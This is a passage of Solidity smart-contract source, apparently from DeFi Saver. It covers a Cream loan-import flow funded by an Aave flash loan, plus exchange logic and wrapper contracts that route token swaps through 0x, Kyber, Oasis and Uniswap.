FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { ( address cCollateralToken, address cBorrowToken, address user, address proxy ) = abi.decode(_params, (address,address,address,address)); // approve FL tokens so we can repay them ERC20(_reserve).safeApprove(cBorrowToken, uint(-1)); // repay cream debt require(CTokenInterface(cBorrowToken).repayBorrowBehalf(user, uint(-1)) == 0, "Repay borrow behalf fail"); // transfer cTokens to proxy uint cTokenBalance = CTokenInterface(cCollateralToken).balanceOf(user); require(CTokenInterface(cCollateralToken).transferFrom(user, proxy, cTokenBalance)); // borrow bytes memory proxyData = getProxyData(cCollateralToken, cBorrowToken, _reserve, (_amount + _fee)); DSProxyInterface(proxy).execute(CREAM_BORROW_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); } /// @notice Formats function data call so we can call it through DSProxy /// @param _cCollToken CToken address of collateral /// @param _cBorrowToken CToken address we will borrow /// @param _borrowToken Token address we will borrow /// @param _amount Amount that will be borrowed /// @return proxyData Formated function call data function getProxyData(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) internal pure returns (bytes memory proxyData) { proxyData = abi.encodeWithSignature( "borrow(address,address,address,uint256)", _cCollToken, _cBorrowToken, _borrowToken, _amount); } function withdrawStuckFunds(address _tokenAddr, uint _amount) public { require(owner == msg.sender, "Must be owner"); if (_tokenAddr == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { msg.sender.transfer(_amount); } else { ERC20(_tokenAddr).safeTransfer(owner, _amount); } } } contract CreamImportTaker is CreamSaverHelper, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant CREAM_IMPORT_FLASH_LOAN = 0x24F4aC0Fe758c45cf8425D8Fbdd608cca9A7dBf8; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must approve cream_IMPORT_FLASH_LOAN to pull _cCollateralToken /// @param _cCollateralToken Collateral we are moving to DSProxy /// @param _cBorrowToken Borrow token we are moving to DSProxy function importLoan(address _cCollateralToken, address _cBorrowToken) external burnGas(20) { address proxy = getProxy(); uint loanAmount = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(msg.sender); bytes memory paramsData = abi.encode(_cCollateralToken, _cBorrowToken, msg.sender, proxy); givePermission(CREAM_IMPORT_FLASH_LOAN); lendingPool.flashLoan(CREAM_IMPORT_FLASH_LOAN, getUnderlyingAddr(_cBorrowToken), loanAmount, paramsData); removePermission(CREAM_IMPORT_FLASH_LOAN); logger.Log(address(this), msg.sender, "CreamImport", abi.encode(loanAmount, 0, _cCollateralToken)); } /// @notice Gets proxy address, if user doesn't has DSProxy build it /// @return proxy DsProxy address function getProxy() internal returns (address proxy) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).proxies(msg.sender); if (proxy == address(0)) { proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).build(msg.sender); } } } contract SaverExchangeCore is SaverExchangeHelper, DSMath { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct ExchangeData { address srcAddr; address destAddr; uint srcAmount; uint destAmount; uint minPrice; address wrapper; address exchangeAddr; bytes callData; uint256 price0x; } /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; uint tokensLeft = exData.srcAmount; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } // Try 0x first and then fallback on specific wrapper if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, exData.srcAmount); (success, swapedTokens, tokensLeft) = takeOrder(exData, ethAmount, ActionType.SELL); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, "Dest amount must be specified"); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, exData.srcAmount); (success, swapedTokens,) = takeOrder(exData, ethAmount, ActionType.BUY); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= exData.destAmount, "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data /// @param _ethAmount Ether fee needed for 0x order function takeOrder( ExchangeData memory _exData, uint256 _ethAmount, ActionType _type ) private returns (bool success, uint256, uint256) { // write in the exact amount we are selling/buing in an order if (_type == ActionType.SELL) { writeUint256(_exData.callData, 36, _exData.srcAmount); } else { writeUint256(_exData.callData, 36, _exData.destAmount); } if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isNonPayableAddr(_exData.exchangeAddr)) { _ethAmount = 0; } uint256 tokensBefore = getBalance(_exData.destAddr); if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.exchangeAddr)) { (success, ) = _exData.exchangeAddr.call{value: _ethAmount}(_exData.callData); } else { success = false; } uint256 tokensSwaped = 0; uint256 tokensLeft = _exData.srcAmount; if (success) { // check to see if any _src tokens are left over after exchange tokensLeft = getBalance(_exData.srcAddr); // convert weth -> eth if needed if (_exData.destAddr == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } // get the current balance of the swaped tokens tokensSwaped = getBalance(_exData.destAddr) - tokensBefore; } return (success, tokensSwaped, tokensLeft); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), "Wrapper is not valid"); uint ethValue = 0; ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). sell{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.srcAmount); } else { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). buy{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.destAmount); } } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert("Incorrent lengt while writting bytes32"); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } /// @notice Calculates protocol fee /// @param _srcAddr selling token address (if eth should be WETH) /// @param _srcAmount amount we are selling function getProtocolFee(address _srcAddr, uint256 _srcAmount) internal view returns(uint256) { // if we are not selling ETH msg value is always the protocol fee if (_srcAddr != WETH_ADDRESS) return address(this).balance; // if msg value is larger than srcAmount, that means that msg value is protocol fee + srcAmount, so we subsctract srcAmount from msg value // we have an edge case here when protocol fee is higher than selling amount if (address(this).balance > _srcAmount) return address(this).balance - _srcAmount; // if msg value is lower than src amount, that means that srcAmount isn't included in msg value, so we return msg value return address(this).balance; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { // splitting in two different bytes and encoding all because of stack too deep in decoding part bytes memory part1 = abi.encode( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ); bytes memory part2 = abi.encode( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ); return abi.encode(part1, part2); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { ( bytes memory part1, bytes memory part2 ) = abi.decode(_data, (bytes,bytes)); ( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ) = abi.decode(part1, (address,address,uint256,uint256)); ( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ) = abi.decode(part2, (uint256,address,address,bytes,uint256)); } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } contract KyberWrapper is DSMath, ExchangeInterfaceV2, AdminAuth { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant KYBER_INTERFACE = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), _srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, _srcAmount, destToken, msg.sender, uint(-1), 0, WALLET_ID ); return destAmount; } /// @notice Buys a _destAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); uint srcAmount = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmount = srcToken.balanceOf(address(this)); } else { srcAmount = msg.value; } KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, srcAmount, destToken, msg.sender, _destAmount, 0, WALLET_ID ); require(destAmount == _destAmount, "Wrong dest amount"); uint srcAmountAfter = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmountAfter = srcToken.balanceOf(address(this)); } else { srcAmountAfter = address(this).balance; } // Send the leftover from the source token back sendLeftOver(_srcAddr); return (srcAmount - srcAmountAfter); } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return rate Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint rate) { (rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE) .getExpectedRate(ERC20(_srcAddr), ERC20(_destAddr), _srcAmount); // multiply with decimal difference in src token rate = rate * (10**(18 - getDecimals(_srcAddr))); // divide with decimal difference in dest token rate = rate / (10**(18 - getDecimals(_destAddr))); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return rate Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint rate) { uint256 srcRate = getSellRate(_destAddr, _srcAddr, _destAmount); uint256 srcAmount = wmul(srcRate, _destAmount); rate = getSellRate(_srcAddr, _destAddr, srcAmount); // increase rate by 3% too account for inaccuracy between sell/buy conversion rate = rate + (rate / 30); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } receive() payable external {} function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } } contract OasisTradeWrapper is DSMath, ExchangeInterfaceV2, AdminAuth { using SafeERC20 for ERC20; address public constant OTC_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice Sells a _srcAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, _srcAmount); uint destAmount = OasisInterface(OTC_ADDRESS).sellAllAmount(srcAddr, _srcAmount, destAddr, 0); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(destAmount); msg.sender.transfer(destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, destAmount); } return destAmount; } /// @notice Buys a _destAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, uint(-1)); uint srcAmount = OasisInterface(OTC_ADDRESS).buyAllAmount(destAddr, _destAmount, srcAddr, uint(-1)); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(_destAmount); msg.sender.transfer(_destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, _destAmount); } // Send the leftover from the source token back sendLeftOver(srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(OasisInterface(OTC_ADDRESS).getBuyAmount(destAddr, srcAddr, _srcAmount), _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(1 ether, wdiv(OasisInterface(OTC_ADDRESS).getPayAmount(srcAddr, destAddr, _destAmount), _destAmount)); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } contract UniswapV2Wrapper is DSMath, ExchangeInterfaceV2, AdminAuth { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; UniswapRouterInterface public constant router = UniswapRouterInterface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable override returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; ERC20(_srcAddr).safeApprove(address(router), _srcAmount); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapExactTokensForETH(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } // if we are selling token to token else { amounts = router.swapExactTokensForTokens(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } return amounts[amounts.length - 1]; } /// @notice Buys a _destAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; ERC20(_srcAddr).safeApprove(address(router), uint(-1)); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapTokensForExactETH(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // if we are buying token to token else { amounts = router.swapTokensForExactTokens(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // Send the leftover from the source token back sendLeftOver(_srcAddr); return amounts[0]; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; uint[] memory amounts = router.getAmountsOut(_srcAmount, path); return wdiv(amounts[amounts.length - 1], _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; uint[] memory amounts = router.getAmountsIn(_destAmount, path); return wdiv(_destAmount, amounts[0]); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } receive() payable external {} } contract UniswapWrapper is DSMath, ExchangeInterfaceV2, AdminAuth { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant UNISWAP_FACTORY = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95; using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Uniswap /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable override returns (uint) { address uniswapExchangeAddr; uint destAmount; _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); // if we are buying ether if (_destAddr == WETH_ADDRESS) { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount); destAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToEthTransferInput(_srcAmount, 1, block.timestamp + 1, msg.sender); } // if we are selling token to token else { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount); destAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToTokenTransferInput(_srcAmount, 1, 1, block.timestamp + 1, msg.sender, _destAddr); } return destAmount; } /// @notice Buys a _destAmount of tokens at Uniswap /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { address uniswapExchangeAddr; uint srcAmount; _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); // if we are buying ether if (_destAddr == WETH_ADDRESS) { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1)); srcAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToEthTransferOutput(_destAmount, uint(-1), block.timestamp + 1, msg.sender); } // if we are buying token to token else { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1)); srcAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToTokenTransferOutput(_destAmount, uint(-1), uint(-1), block.timestamp + 1, msg.sender, _destAddr); } // Send the leftover from the source token back sendLeftOver(_srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); if(_srcAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenInputPrice(_srcAmount), _srcAmount); } else if (_destAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthInputPrice(_srcAmount), _srcAmount); } else { uint ethBought = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getTokenToEthInputPrice(_srcAmount); return wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getEthToTokenInputPrice(ethBought), _srcAmount); } } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); if(_srcAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr); return wdiv(1 ether, wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenOutputPrice(_destAmount), _destAmount)); } else if (_destAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); return wdiv(1 ether, wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthOutputPrice(_destAmount), _destAmount)); } else { uint ethNeeded = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getTokenToEthOutputPrice(_destAmount); return wdiv(1 ether, wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getEthToTokenOutputPrice(ethNeeded), _destAmount)); } } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } contract DFSExchangeCore is DFSExchangeHelper, DSMath, DFSExchangeData { string public constant ERR_SLIPPAGE_HIT = "Slippage hit"; string public constant ERR_DEST_AMOUNT_MISSING = "Dest amount missing"; string public constant ERR_WRAPPER_INVALID = "Wrapper invalid"; string public constant ERR_OFFCHAIN_DATA_INVALID = "Offchain data invalid"; /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // Try 0x first and then fallback on specific wrapper if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.SELL); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, ERR_DEST_AMOUNT_MISSING); exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.BUY); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= exData.destAmount, ERR_SLIPPAGE_HIT); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data function takeOrder( ExchangeData memory _exData, ActionType _type ) private returns (bool success, uint256) { if (_exData.srcAddr != KYBER_ETH_ADDRESS) { ERC20(_exData.srcAddr).safeApprove(_exData.offchainData.allowanceTarget, _exData.srcAmount); } // write in the exact amount we are selling/buing in an order if (_type == ActionType.SELL) { writeUint256(_exData.offchainData.callData, 36, _exData.srcAmount); } else { writeUint256(_exData.offchainData.callData, 36, _exData.destAmount); } uint256 tokensBefore = getBalance(_exData.destAddr); if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.offchainData.exchangeAddr)) { (success, ) = _exData.offchainData.exchangeAddr.call{value: _exData.offchainData.protocolFee}(_exData.offchainData.callData); } else { success = false; } uint256 tokensSwaped = 0; if (success) { // convert weth -> eth if needed if 